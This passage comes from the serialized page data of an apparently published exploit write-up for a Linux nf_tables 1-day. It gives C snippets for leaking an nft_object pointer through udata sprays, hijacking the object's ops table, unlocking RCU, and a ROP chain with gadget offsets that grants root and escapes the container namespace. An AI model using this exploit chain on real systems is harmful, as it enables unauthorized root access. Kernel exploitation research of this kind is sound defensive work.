obj_ptr);\n[...]\n",[56215],{"type":21,"tag":194,"props":56216,"children":56217},{"__ignoreMap":7},[56218,56225,56233,56246,56294,56321,56332,56370,56377,56406,56436],{"type":21,"tag":198,"props":56219,"children":56220},{"class":200,"line":201},[56221],{"type":21,"tag":198,"props":56222,"children":56223},{"style":211},[56224],{"type":27,"value":11127},{"type":21,"tag":198,"props":56226,"children":56227},{"class":200,"line":217},[56228],{"type":21,"tag":198,"props":56229,"children":56230},{"style":211},[56231],{"type":27,"value":56232}," // Leak nft_object ptr using table linked list\n",{"type":21,"tag":198,"props":56234,"children":56235},{"class":200,"line":236},[56236,56241],{"type":21,"tag":198,"props":56237,"children":56238},{"style":211},[56239],{"type":27,"value":56240}," fake_obj[8] = 8;",{"type":21,"tag":198,"props":56242,"children":56243},{"style":1233},[56244],{"type":27,"value":56245}," // ulen = 8\n",{"type":21,"tag":198,"props":56247,"children":56248},{"class":200,"line":260},[56249,56254,56258,56263,56267,56271,56276,56280,56284,56289],{"type":21,"tag":198,"props":56250,"children":56251},{"style":226},[56252],{"type":27,"value":56253}," fake_obj",{"type":21,"tag":198,"props":56255,"children":56256},{"style":211},[56257],{"type":27,"value":2051},{"type":21,"tag":198,"props":56259,"children":56260},{"style":2540},[56261],{"type":27,"value":56262},"9",{"type":21,"tag":198,"props":56264,"children":56265},{"style":211},[56266],{"type":27,"value":9472},{"type":21,"tag":198,"props":56268,"children":56269},{"style":683},[56270],{"type":27,"value":3174},{"type":21,"tag":198,"props":56272,"children":56273},{"style":226},[56274],{"type":27,"value":56275}," fake_obj",{"type":21,"tag":198,"props":56277,"children":56278},{"style":211},[56279],{"type":27,"value":2051},{"type":21,"tag":198,"props":56281,"children":56282},{"style":2540},[56283],{"type":27,"value":3482},{"type":21,"tag":198,"props":56285,"children":56286},{"style":211},[56287],{"type":27,"value":56288},"];",{"type":21,"tag":198,"props":56290,"children":56291},{"style":1233},[56292],{"type":27,"value":56293}," // udata = list->next\n",{"type":21,"tag":198,"props":56295,"children":56296},{"class":200,"line":281},[56297,56301,56305,56309,56313,56317],{"type":21,"tag":198,"props":56298,"children":56299},{"style":698},[56300],{"type":27,"value":55904},{"type":21,"tag":198,"props":56302,"children":56303},{"style":211},[56304],{"type":27,"value":55909},{"type":21,"tag":198,"props":56306,"children":56307},{"style":2540},[56308],{"type":27,"value":3931},{"type":21,"tag":198,"props":56310,"children":56311},{"style":211},[56312],{"type":27,"value":828},{"type":21,"tag":198,"props":56314,"children":56315},{"style":2540},[56316],{"type":27,"value":134},{"type":21,"tag":198,"props":56318,"children":56319},{"style":211},[56320],{"type":27,"value":1470},{"type":21,"tag":198,"props":56322,"children":56323},{"class":200,"line":302},[56324,56328],{"type":21,"tag":198,"props":56325,"children":56326},{"style":698},[56327],{"type":27,"value":55933},{"type":21,"tag":198,"props":56329,"children":56330},{"style":211},[56331],{"type":27,"value":3404},{"type":21,"tag":198,"props":56333,"children":56334},{"class":200,"line":323},[56335,56340,56344,56349,56353,56357,56361,56365],{"type":21,"tag":198,"props":56336,"children":56337},{"style":698},[56338],{"type":27,"value":56339}," udata_spray",{"type":21,"tag":198,"props":56341,"children":56342},{"style":211},[56343],{"type":27,"value":55909},{"type":21,"tag":198,"props":56345,"children":56346},{"style":2540},[56347],{"type":27,"value":56348},"0xe8",{"type":21,"tag":198,"props":56350,"children":56351},{"style":211},[56352],{"type":27,"value":828},{"type":21,"tag":198,"props":56354,"children":56355},{"style":2540},[56356],{"type":27,"value":18097},{"type":21,"tag":198,"props":56358,"children":56359},{"style":211},[56360],{"type":27,"value":828},{"type":21,"tag":198,"props":56362,"children":56363},{"style":2540},[56364],{"type":27,"value":134},{"type":21,"tag":198,"props":56366,"children":56367},{"style":211},[56368],{"type":27,"value":56369},", fake_obj);\n",{"type":21,"tag":198,"props":56371,"children":56372},{"class":200,"line":344},[56373],{"type":21,"tag":198,"props":56374,"children":56375},{"emptyLinePlaceholder":16},[56376],{"type":27,"value":1283},{"type":21,"tag":198,"props":56378,"children":56379},{"class":200,"line":365},[56380,56385,56389,56394,56398,56402],{"type":21,"tag":198,"props":56381,"children":56382},{"style":698},[56383],{"type":27,"value":56384}," get_obj",{"type":21,"tag":198,"props":56386,"children":56387},{"style":211},[56388],{"type":27,"value":55909},{"type":21,"tag":198,"props":56390,"children":56391},{"style":205},[56392],{"type":27,"value":56393},"\"spray-0\"",{"type":21,"tag":198,"props":56395,"children":56396},{"style":211},[56397],{"type":27,"value":828},{"type":21,"tag":198,"props":56399,"children":56400},{"style":249},[56401],{"type":27,"value":4806},{"type":21,"tag":198,"props":56403,"children":56404},{"style":211},[56405],{"type":27,"value":1470},{"type":21,"tag":198,"props":56407,"children":56408},{"class":200,"line":386},[56409,56414,56418,56423,56427,56431],{"type":21,"tag":198,"props":56410,"children":56411},{"style":698},[56412],{"type":27,"value":56413}," printf",{"type":21,"tag":198,"props":56415,"children":56416},{"style":211},[56417],{"type":27,"value":706},{"type":21,"tag":198,"props":56419,"children":56420},{"style":205},[56421],{"type":27,"value":56422},"\"[*] nft_object ptr: 0x%lx",{"type":21,"tag":198,"props":56424,"children":56425},{"style":1457},[56426],{"type":27,"value":1460},{"type":21,"tag":198,"props":56428,"children":56429},{"style":205},[56430],{"type":27,"value":20854},{"type":21,"tag":198,"props":56432,"children":56433},{"style":211},[56434],{"type":27,"value":56435},", obj_ptr);\n",{"type":21,"tag":198,"props":56437,"children":56438},{"class":200,"line":408},[56439],{"type":21,"tag":198,"props":56440,"children":56441},{"style":211},[56442],{"type":27,"value":11127},{"type":21,"tag":59,"props":56444,"children":56446},{"id":56445},"hijacking-control-flow",[56447],{"type":27,"value":56448},"Hijacking control-flow",{"type":21,"tag":30,"props":56450,"children":56451},{},[56452,56454,56459,56461,56466,56468,56473,56475,56480,56482,56487,56489],{"type":27,"value":56453},"To hijack control-flow, we can use ",{"type":21,"tag":194,"props":56455,"children":56457},{"className":56456},[],[56458],{"type":27,"value":55490},{"type":27,"value":56460}," once again. The ",{"type":21,"tag":194,"props":56462,"children":56464},{"className":56463},[],[56465],{"type":27,"value":55490},{"type":27,"value":56467}," struct has an ",{"type":21,"tag":194,"props":56469,"children":56471},{"className":56470},[],[56472],{"type":27,"value":53046},{"type":27,"value":56474}," pointer to a function pointer table. We can swap the ",{"type":21,"tag":194,"props":56476,"children":56478},{"className":56477},[],[56479],{"type":27,"value":53046},{"type":27,"value":56481}," pointer with the ",{"type":21,"tag":194,"props":56483,"children":56485},{"className":56484},[],[56486],{"type":27,"value":55475},{"type":27,"value":56488}," pointer, taking control of the pointer table.\n",{"type":21,"tag":1376,"props":56490,"children":56492},{"alt":50954,"src":56491},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":21,"tag":187,"props":56494,"children":56496},{"className":29912,"code":56495,"language":29914,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[56497],{"type":21,"tag":194,"props":56498,"children":56499},{"__ignoreMap":7},[56500,56507,56515,56539,56586,56622,56629,56637,56669,56677,56685,56706,56714,56722,56786,56793,56801,56809,56816,56824,56858,56866,56873,56881,56888,56896,56929,56950],{"type":21,"tag":198,"props":56501,"children":56502},{"class":200,"line":201},[56503],{"type":21,"tag":198,"props":56504,"children":56505},{"style":211},[56506],{"type":27,"value":11127},{"type":21,"tag":198,"props":56508,"children":56509},{"class":200,"line":217},[56510],{"type":21,"tag":198,"props":56511,"children":56512},{"style":211},[56513],{"type":27,"value":56514}," // Fake ops\n",{"type":21,"tag":198,"props":56516,"children":56517},{"class":200,"line":236},[56518,56523,56527,56531,56535],{"type":21,"tag":198,"props":56519,"children":56520},{"style":211},[56521],{"type":27,"value":56522}," uint64_t *rop = calloc(29, ",{"type":21,"tag":198,"props":56524,"children":56525},{"style":1966},[56526],{"type":27,"value":55704},{"type":21,"tag":198,"props":56528,"children":56529},{"style":211},[56530],{"type":27,"value":706},{"type":21,"tag":198,"props":56532,"children":56533},{"style":249},[56534],{"type":27,"value":56011},{"type":21,"tag":198,"props":56536,"children":56537},{"style":211},[56538],{"type":27,"value":8035},{"type":21,"tag":198,"props":56540,"children":56541},{"class":200,"line":260},[56542,56547,56551,56555,56559,56563,56568,56572,56577,56581],{"type":21,"tag":198,"props":56543,"children":56544},{"style":226},[56545],{"type":27,"value":56546}," rop",{"type":21,"tag":198,"props":56548,"children":56549},{"style":211},[56550],{"type":27,"value":2051},{"type":21,"tag":198,"props":56552,"children":56553},{"style":2540},[56554],{"type":27,"value":3482},{"type":21,"tag":198,"props":56556,"children":56557},{"style":211},[56558],{"type":27,"value":9472},{"type":21,"tag":198,"props":56560,"children":56561},{"style":683},[56562],{"type":27,"value":3174},{"type":21,"tag":198,"props":56564,"children":56565},{"style":211},[56566],{"type":27,"value":56567}," kaslr_slide ",{"type":21,"tag":198,"props":56569,"children":56570},{"style":683},[56571],{"type":27,"value":5193},{"type":21,"tag":198,"props":56573,"children":56574},{"style":2540},[56575],{"type":27,"value":56576}," 0xffffffff81988647",{"type":21,"tag":198,"props":56578,"children":56579},{"style":211},[56580],{"type":27,"value":2182},{"type":21,"tag":198,"props":56582,"children":56583},{"style":1233},[56584],{"type":27,"value":56585}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":21,"tag":198,"props":56587,"children":56588},{"class":200,"line":281},[56589,56593,56597,56601,56605,56609,56613,56617],{"type":21,"tag":198,"props":56590,"children":56591},{"style":226},[56592],{"type":27,"value":56546},{"type":21,"tag":198,"props":56594,"children":56595},{"style":211},[56596],{"type":27,"value":2051},{"type":21,"tag":198,"props":56598,"children":56599},{"style":2540},[56600],{"type":27,"value":3931},{"type":21,"tag":198,"props":56602,"children":56603},{"style":211},[56604],{"type":27,"value":9472},{"type":21,"tag":198,"props":56606,"children":56607},{"style":683},[56608],{"type":27,"value":3174},{"type":21,"tag":198,"props":56610,"children":56611},{"style":211},[56612],{"type":27,"value":56567},{"type":21,"tag":198,"props":56614,"children":56615},{"style":683},[56616],{"type":27,"value":5193},{"type":21,"tag":198,"props":56618,"children":56619},{"style":211},[56620],{"type":27,"value":56621}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":21,"tag":198,"props":56623,"children":56624},{"class":200,"line":302},[56625],{"type":21,"tag":198,"props":56626,"children":56627},{"style":211},[56628],{"type":27,"value":11127},{"type":21,"tag":198,"props":56630,"children":56631},{"class":200,"line":323},[56632],{"type":21,"tag":198,"props":56633,"children":56634},{"style":211},[56635],{"type":27,"value":56636}," // Send ROP in object udata\n",{"type":21,"tag":198,"props":56638,"children":56639},{"class":200,"line":344},[56640,56645,56649,56654,56659,56664],{"type":21,"tag":198,"props":56641,"children":56642},{"style":211},[56643],{"type":27,"value":56644}," del_obj(",{"type":21,"tag":198,"props":56646,"children":56647},{"style":1966},[56648],{"type":27,"value":54666},{"type":21,"tag":198,"props":56650,"children":56651},{"style":211},[56652],{"type":27,"value":56653},", \"",{"type":21,"tag":198,"props":56655,"children":56656},{"style":1966},[56657],{"type":27,"value":56658},"spray",{"type":21,"tag":198,"props":56660,"children":56661},{"style":211},[56662],{"type":27,"value":56663},"-0",{"type":21,"tag":198,"props":56665,"children":56666},{"style":205},[56667],{"type":27,"value":56668},"\");\n",{"type":21,"tag":198,"props":56670,"children":56671},{"class":200,"line":365},[56672],{"type":21,"tag":198,"props":56673,"children":56674},{"style":205},[56675],{"type":27,"value":56676}," wait_destroyer();\n",{"type":21,"tag":198,"props":56678,"children":56679},{"class":200,"line":386},[56680],{"type":21,"tag":198,"props":56681,"children":56682},{"style":205},[56683],{"type":27,"value":56684}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":21,"tag":198,"props":56686,"children":56687},{"class":200,"line":408},[56688,56693,56697,56702],{"type":21,"tag":198,"props":56689,"children":56690},{"style":205},[56691],{"type":27,"value":56692}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":21,"tag":198,"props":56694,"children":56695},{"style":249},[56696],{"type":27,"value":56658},{"type":21,"tag":198,"props":56698,"children":56699},{"style":211},[56700],{"type":27,"value":56701},"-3",{"type":21,"tag":198,"props":56703,"children":56704},{"style":205},[56705],{"type":27,"value":56668},{"type":21,"tag":198,"props":56707,"children":56708},{"class":200,"line":429},[56709],{"type":21,"tag":198,"props":56710,"children":56711},{"style":205},[56712],{"type":27,"value":56713}," DumpHex(fake_obj, 0xe8);\n",{"type":21,"tag":198,"props":56715,"children":56716},{"class":200,"line":450},[56717],{"type":21,"tag":198,"props":56718,"children":56719},{"style":205},[56720],{"type":27,"value":56721}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":21,"tag":198,"props":56723,"children":56724},{"class":200,"line":468},[56725,56730,56734,56738,56742,56747,56752,56757,56761,56766,56771,56776,56781],{"type":21,"tag":198,"props":56726,"children":56727},{"style":205},[56728],{"type":27,"value":56729}," printf(\"",{"type":21,"tag":198,"props":56731,"children":56732},{"style":211},[56733],{"type":27,"value":2051},{"type":21,"tag":198,"props":56735,"children":56736},{"style":683},[56737],{"type":27,"value":5383},{"type":21,"tag":198,"props":56739,"children":56740},{"style":211},[56741],{"type":27,"value":9472},{"type":21,"tag":198,"props":56743,"children":56744},{"style":1966},[56745],{"type":27,"value":56746},"ROP",{"type":21,"tag":198,"props":56748,"children":56749},{"style":1966},[56750],{"type":27,"value":56751}," addr",{"type":21,"tag":198,"props":56753,"children":56754},{"style":211},[56755],{"type":27,"value":56756},": 0",{"type":21,"tag":198,"props":56758,"children":56759},{"style":1966},[56760],{"type":27,"value":20070},{"type":21,"tag":198,"props":56762,"children":56763},{"style":211},[56764],{"type":27,"value":56765},"%",{"type":21,"tag":198,"props":56767,"children":56768},{"style":1966},[56769],{"type":27,"value":56770},"lx",{"type":21,"tag":198,"props":56772,"children":56773},{"style":211},[56774],{"type":27,"value":56775},"\\",{"type":21,"tag":198,"props":56777,"children":56778},{"style":1966},[56779],{"type":27,"value":56780},"n",{"type":21,"tag":198,"props":56782,"children":56783},{"style":205},[56784],{"type":27,"value":56785},"\", rop_addr);\n",{"type":21,"tag":198,"props":56787,"children":56788},{"class":200,"line":477},[56789],{"type":21,"tag":198,"props":56790,"children":56791},{"emptyLinePlaceholder":16},[56792],{"type":27,"value":1283},{"type":21,"tag":198,"props":56794,"children":56795},{"class":200,"line":494},[56796],{"type":21,"tag":198,"props":56797,"children":56798},{"style":205},[56799],{"type":27,"value":56800}," // Point to fake ops\n",{"type":21,"tag":198,"props":56802,"children":56803},{"class":200,"line":515},[56804],{"type":21,"tag":198,"props":56805,"children":56806},{"style":205},[56807],{"type":27,"value":56808}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":21,"tag":198,"props":56810,"children":56811},{"class":200,"line":4484},[56812],{"type":21,"tag":198,"props":56813,"children":56814},{"style":205},[56815],{"type":27,"value":11127},{"type":21,"tag":198,"props":56817,"children":56818},{"class":200,"line":4493},[56819],{"type":21,"tag":198,"props":56820,"children":56821},{"style":205},[56822],{"type":27,"value":56823}," // Write ROP\n",{"type":21,"tag":198,"props":56825,"children":56826},{"class":200,"line":4561},[56827,56832,56836,56840,56844,56849,56854],{"type":21,"tag":198,"props":56828,"children":56829},{"style":205},[56830],{"type":27,"value":56831}," puts(\"",{"type":21,"tag":198,"props":56833,"children":56834},{"style":211},[56835],{"type":27,"value":2051},{"type":21,"tag":198,"props":56837,"children":56838},{"style":683},[56839],{"type":27,"value":5383},{"type":21,"tag":198,"props":56841,"children":56842},{"style":211},[56843],{"type":27,"value":9472},{"type":21,"tag":198,"props":56845,"children":56846},{"style":1966},[56847],{"type":27,"value":56848},"Write",{"type":21,"tag":198,"props":56850,"children":56851},{"style":1966},[56852],{"type":27,"value":56853}," ROP",{"type":21,"tag":198,"props":56855,"children":56856},{"style":205},[56857],{"type":27,"value":56668},{"type":21,"tag":198,"props":56859,"children":56860},{"class":200,"line":4569},[56861],{"type":21,"tag":198,"props":56862,"children":56863},{"style":205},[56864],{"type":27,"value":56865}," deludata_spray(nl, 3, 1);\n",{"type":21,"tag":198,"props":56867,"children":56868},{"class":200,"line":4599},[56869],{"type":21,"tag":198,"props":56870,"children":56871},{"style":205},[56872],{"type":27,"value":56676},{"type":21,"tag":198,"props":56874,"children":56875},{"class":200,"line":4607},[56876],{"type":21,"tag":198,"props":56877,"children":56878},{"style":205},[56879],{"type":27,"value":56880}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":21,"tag":198,"props":56882,"children":56883},{"class":200,"line":4638},[56884],{"type":21,"tag":198,"props":56885,"children":56886},{"emptyLinePlaceholder":16},[56887],{"type":27,"value":1283},{"type":21,"tag":198,"props":56889,"children":56890},{"class":200,"line":4646},[56891],{"type":21,"tag":198,"props":56892,"children":56893},{"style":205},[56894],{"type":27,"value":56895}," // Takeover RIP\n",{"type":21,"tag":198,"props":56897,"children":56898},{"class":200,"line":4706},[56899,56903,56907,56911,56915,56920,56925],{"type":21,"tag":198,"props":56900,"children":56901},{"style":205},[56902],{"type":27,"value":56831},{"type":21,"tag":198,"props":56904,"children":56905},{"style":211},[56906],{"type":27,"value":2051},{"type":21,"tag":198,"props":56908,"children":56909},{"style":683},[56910],{"type":27,"value":5383},{"type":21,"tag":198,"props":56912,"children":56913},{"style":211},[56914],{"type":27,"value":9472},{"type":21,"tag":198,"props":56916,"children":56917},{"style":1966},[56918],{"type":27,"value":56919},"Takeover",{"type":21,"tag":198,"props":56921,"children":56922},{"style":1966},[56923],{"type":27,"value":56924}," RIP",{"type":21,"tag":198,"props":56926,"children":56927},{"style":205},[56928],{"type":27,"value":56668},{"type":21,"tag":198,"props":56930,"children":56931},{"class":200,"line":9857},[56932,56937,56941,56946],{"type":21,"tag":198,"props":56933,"children":56934},{"style":205},[56935],{"type":27,"value":56936}," dump_obj(nl, \"",{"type":21,"tag":198,"props":56938,"children":56939},{"style":249},[56940],{"type":27,"value":56658},{"type":21,"tag":198,"props":56942,"children":56943},{"style":211},[56944],{"type":27,"value":56945},"-1",{"type":21,"tag":198,"props":56947,"children":56948},{"style":205},[56949],{"type":27,"value":56668},{"type":21,"tag":198,"props":56951,"children":56952},{"class":200,"line":9875},[56953],{"type":21,"tag":198,"props":56954,"children":56955},{"style":205},[56956],{"type":27,"value":11127},{"type":21,"tag":59,"props":56958,"children":56960},{"id":56959},"bypass-context-switch-in-rcu-critical-section",[56961],{"type":27,"value":56962},"Bypass context switch in RCU critical-section",{"type":21,"tag":30,"props":56964,"children":56965},{},[56966,56967,56972],{"type":27,"value":534},{"type":21,"tag":194,"props":56968,"children":56970},{"className":56969},[],[56971],{"type":27,"value":55490},{"type":27,"value":56973}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":21,"tag":30,"props":56975,"children":56976},{},[56977,56979,56986,56988,56994,56996,57002],{"type":27,"value":56978},"A workaround has been discussed before by D3v17 in a ",{"type":21,"tag":34,"props":56980,"children":56983},{"href":56981,"rel":56982},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[38],[56984],{"type":27,"value":56985},"previous kernelCTF submission",{"type":27,"value":56987}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":21,"tag":194,"props":56989,"children":56991},{"className":56990},[],[56992],{"type":27,"value":56993},"task_struct",{"type":27,"value":56995}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":21,"tag":194,"props":56997,"children":56999},{"className":56998},[],[57000],{"type":27,"value":57001},"__rcu_read_unlock()",{"type":27,"value":57003}," function and exit the RCU critical-section before switching contexts.",{"type":21,"tag":187,"props":57005,"children":57007},{"className":29912,"code":57006,"language":29914,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[57008],{"type":21,"tag":194,"props":57009,"children":57010},{"__ignoreMap":7},[57011,57019,57043,57050],{"type":21,"tag":198,"props":57012,"children":57013},{"class":200,"line":201},[57014],{"type":21,"tag":198,"props":57015,"children":57016},{"style":1233},[57017],{"type":27,"value":57018}," // ROP stage 1\n",{"type":21,"tag":198,"props":57020,"children":57021},{"class":200,"line":217},[57022,57026,57031,57035,57039],{"type":21,"tag":198,"props":57023,"children":57024},{"style":249},[57025],{"type":27,"value":19871},{"type":21,"tag":198,"props":57027,"children":57028},{"style":211},[57029],{"type":27,"value":57030}," pos ",{"type":21,"tag":198,"props":57032,"children":57033},{"style":683},[57034],{"type":27,"value":3174},{"type":21,"tag":198,"props":57036,"children":57037},{"style":2540},[57038],{"type":27,"value":19893},{"type":21,"tag":198,"props":57040,"children":57041},{"style":211},[57042],{"type":27,"value":1483},{"type":21,"tag":198,"props":57044,"children":57045},{"class":200,"line":236},[57046],{"type":21,"tag":198,"props":57047,"children":57048},{"emptyLinePlaceholder":16},[57049],{"type":27,"value":1283},{"type":21,"tag":198,"props":57051,"children":57052},{"class":200,"line":260},[57053,57057,57062,57066,57070,57074,57078,57082],{"type":21,"tag":198,"props":57054,"children":57055},{"style":226},[57056],{"type":27,"value":56546},{"type":21,"tag":198,"props":57058,"children":57059},{"style":211},[57060],{"type":27,"value":57061},"[pos",{"type":21,"tag":198,"props":57063,"children":57064},{"style":683},[57065],{"type":27,"value":51645},{"type":21,"tag":198,"props":57067,"children":57068},{"style":211},[57069],{"type":27,"value":9472},{"type":21,"tag":198,"props":57071,"children":57072},{"style":683},[57073],{"type":27,"value":3174},{"type":21,"tag":198,"props":57075,"children":57076},{"style":211},[57077],{"type":27,"value":56567},{"type":21,"tag":198,"props":57079,"children":57080},{"style":683},[57081],{"type":27,"value":5193},{"type":21,"tag":198,"props":57083,"children":57084},{"style":211},[57085],{"type":27,"value":57086}," __RCU_READ_UNLOCK;\n",{"type":21,"tag":59,"props":57088,"children":57090},{"id":57089},"rop",[57091],{"type":27,"value":56746},{"type":21,"tag":30,"props":57093,"children":57094},{},[57095],{"type":27,"value":57096},"Most of the ROP chain to escape the container as root is business as usual:",{"type":21,"tag":138,"props":57098,"children":57099},{},[57100,57111,57122],{"type":21,"tag":75,"props":57101,"children":57102},{},[57103,57109],{"type":21,"tag":194,"props":57104,"children":57106},{"className":57105},[],[57107],{"type":27,"value":57108},"commit_creds(&init_cred);",{"type":27,"value":57110}," Commit root credentials to our process",{"type":21,"tag":75,"props":57112,"children":57113},{},[57114,57120],{"type":21,"tag":194,"props":57115,"children":57117},{"className":57116},[],[57118],{"type":27,"value":57119},"task = find_task_by_vpid(1);",{"type":27,"value":57121}," Find the root process of our namespace",{"type":21,"tag":75,"props":57123,"children":57124},{},[57125,57131],{"type":21,"tag":194,"props":57126,"children":57128},{"className":57127},[],[57129],{"type":27,"value":57130},"switch_task_namespaces(task, &init_nsproxy);",{"type":27,"value":57132}," Move it to the root namespace",{"type":21,"tag":30,"props":57134,"children":57135},{},[57136,57138,57144,57146,57152,57154,57160,57162,57168,57170,57175,57177,57183],{"type":27,"value":57137},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":21,"tag":194,"props":57139,"children":57141},{"className":57140},[],[57142],{"type":27,"value":57143},"find_task_by_vpid(1)",{"type":27,"value":57145}," passed through ",{"type":21,"tag":194,"props":57147,"children":57149},{"className":57148},[],[57150],{"type":27,"value":57151},"rax",{"type":27,"value":57153}," to ",{"type":21,"tag":194,"props":57155,"children":57157},{"className":57156},[],[57158],{"type":27,"value":57159},"rdi",{"type":27,"value":57161},". What I ended up going with was a ",{"type":21,"tag":194,"props":57163,"children":57165},{"className":57164},[],[57166],{"type":27,"value":57167},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":27,"value":57169}," gadget, that allowed me to push the ",{"type":21,"tag":194,"props":57171,"children":57173},{"className":57172},[],[57174],{"type":27,"value":57151},{"type":27,"value":57176}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":21,"tag":194,"props":57178,"children":57180},{"className":57179},[],[57181],{"type":27,"value":57182},"pop rdi; ret",{"type":27,"value":57184}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":21,"tag":138,"props":57186,"children":57187},{},[57188,57193,57206],{"type":21,"tag":75,"props":57189,"children":57190},{},[57191],{"type":27,"value":57192},"We push the value onto the stack (stack pointer regresses)",{"type":21,"tag":75,"props":57194,"children":57195},{},[57196,57198,57204],{"type":27,"value":57197},"We jump to our \"trampoline\" gadget (",{"type":21,"tag":194,"props":57199,"children":57201},{"className":57200},[],[57202],{"type":27,"value":57203},"pop rdi; ret;",{"type":27,"value":57205}," location)",{"type":21,"tag":75,"props":57207,"children":57208},{},[57209,57214],{"type":21,"tag":194,"props":57210,"children":57212},{"className":57211},[],[57213],{"type":27,"value":57182},{"type":27,"value":57215}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":21,"tag":187,"props":57217,"children":57219},{"className":29912,"code":57218,"language":29914,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[57220],{"type":21,"tag":194,"props":57221,"children":57222},{"__ignoreMap":7},[57223,57230,57247,57292,57328,57364,57371,57379,57422,57453,57489,57534,57589,57634,57641,57649,57692,57728,57764],{"type":21,"tag":198,"props":57224,"children":57225},{"class":200,"line":201},[57226],{"type":21,"tag":198,"props":57227,"children":57228},{"style":211},[57229],{"type":27,"value":11127},{"type":21,"tag":198,"props":57231,"children":57232},{"class":200,"line":217},[57233,57238,57243],{"type":21,"tag":198,"props":57234,"children":57235},{"style":211},[57236],{"type":27,"value":57237}," // commit_creds(&",{"type":21,"tag":198,"props":57239,"children":57240},{"style":226},[57241],{"type":27,"value":57242},"init_cred",{"type":21,"tag":198,"props":57244,"children":57245},{"style":211},[57246],{"type":27,"value":1470},{"type":21,"tag":198,"props":57248,"children":57249},{"class":200,"line":236},[57250,57254,57258,57262,57266,57270,57274,57278,57283,57287],{"type":21,"tag":198,"props":57251,"children":57252},{"style":226},[57253],{"type":27,"value":56546},{"type":21,"tag":198,"props":57255,"children":57256},{"style":211},[57257],{"type":27,"value":57061},{"type":21,"tag":198,"props":57259,"children":57260},{"style":683},[57261],{"type":27,"value":51645},{"type":21,"tag":198,"props":57263,"children":57264},{"style":211},[57265],{"type":27,"value":9472},{"type":21,"tag":198,"props":57267,"children":57268},{"style":683},[57269],{"type":27,"value":3174},{"type":21,"tag":198,"props":57271,"children":57272},{"style":211},[57273],{"type":27,"value":56567},{"type":21,"tag":198,"props":57275,"children":57276},{"style":683},[57277],{"type":27,"value":5193},{"type":21,"tag":198,"props":57279,"children":57280},{"style":2540},[57281],{"type":27,"value":57282}," 0xffffffff8112c7c0",{"type":21,"tag":198,"props":57284,"children":57285},{"style":211},[57286],{"type":27,"value":2182},{"type":21,"tag":198,"props":57288,"children":57289},{"style":1233},[57290],{"type":27,"value":57291}," // pop rdi; ret;\n",{"type":21,"tag":198,"props":57293,"children":57294},{"class":200,"line":260},[57295,57299,57303,57307,57311,57315,57319,57323],{"type":21,"tag":198,"props":57296,"children":57297},{"style":226},[57298],{"type":27,"value":56546},{"type":21,"tag":198,"props":57300,"children":57301},{"style":211},[57302],{"type":27,"value":57061},{"type":21,"tag":198,"props":57304,"children":57305},{"style":683},[57306],{"type":27,"value":51645},{"type":21,"tag":198,"props":57308,"children":57309},{"style":211},[57310],{"type":27,"value":9472},{"type":21,"tag":198,"props":57312,"children":57313},{"style":683},[57314],{"type":27,"value":3174},{"type":21,"tag":198,"props":57316,"children":57317},{"style":211},[57318],{"type":27,"value":56567},{"type":21,"tag":198,"props":57320,"children":57321},{"style":683},[57322],{"type":27,"value":5193},{"type":21,"tag":198,"props":57324,"children":57325},{"style":211},[57326],{"type":27,"value":57327}," 